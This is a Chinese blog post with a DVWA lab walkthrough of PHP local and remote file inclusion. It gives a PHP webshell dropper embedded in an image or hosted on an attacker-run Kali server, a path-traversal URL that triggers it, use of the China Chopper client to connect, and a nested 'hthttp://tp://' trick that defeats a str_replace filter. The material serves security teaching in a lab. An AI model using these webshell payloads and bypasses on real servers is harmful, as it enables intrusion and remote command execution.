文件包含

 

文件包含漏洞:即File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可
以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文
件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包
含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务
器允许包含一个远程的文件)。服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不
严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到自己的目的。
1. 文件包含(File Inclusion)即程序通过[包含函数]调用本地或远程文件,以此来实现拓展功能
2. 被包含的文件可以是各种文件格式,而当文件里面包含恶意代码,则会形成远程命令执行或文件上传漏洞
3. 文件包含漏洞主要发生在有包含语句的环境中,例如PHP所具备include、require等包含函数
文件包含分为两类:
本地文件包含LFI(Local File Inclusion) 当被包含的文件在服务器本地时,就形成本地文件包含
远程文件包含RFI(Remote File Inclusion) 当被包含的文件在第三方服务器时,叫做远程文件包含

 

低安全级别

1.本地文件包含漏洞
下载一个图片,尽量小点,否则可能传不上去
图片使用工具edjpgcom写入:<?fputs(fopen("shell20.php","w"),'<?php eval($_POST[yangge]);?>')?>

在文件包含漏洞页面会执行图片里的php命令,会在fi文件夹下生成php文件shell20.php,把后半部分写到这个php文件

上传图片,访问:

http://192.168.204.133/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/yinyangt.jpg 

然后用菜刀连接http://192.168.204.133/dvwa/vulnerabilities/fi/shell20.php 密码是木马里的yangge

 

2.远程文件包含

需要一个远程web服务器,kali上启动了apache

kali@kali:~$ systemctl start apache2

kali@kali:~$ systemctl status apache2

在/var/www/html下创建文件yangge.txt:

root@kali:/var/www/html# pwd
/var/www/html
root@kali:/var/www/html# ls -l
total 20
-rw-r--r-- 1 root root 10701 May 8 2020 index.html
-rw-r--r-- 1 root root 612 May 8 2020 index.nginx-debian.html
-rw-r--r-- 1 root root 70 Oct 29 00:48 yangge.txt
root@kali:/var/www/html# cat yangge.txt
<?fputs(fopen("shell50.php","w"),'<?php eval($_POST[yangge50]);?>')?>
root@kali:/var/www/html#

然后在文件包含漏洞url后填写远程地址访问

 

 

可以看到在以下路径生成了php文件

 

中安全级别

 $file = str_replace("http://", "", $file);
 $file = str_replace("https://", "", $file); 

做了以上处理,对本地包含漏洞没影响,远程包含会把http://或https://置为空,导致url失效,可以拼下url,例如hthttp://tp://    这样就绕过了函数str_replace,生成http://

 

posted @   聚散浮沉  阅读(341)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 单元测试从入门到精通
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)
· winform 绘制太阳,地球,月球 运作规律
点击右上角即可分享
微信分享提示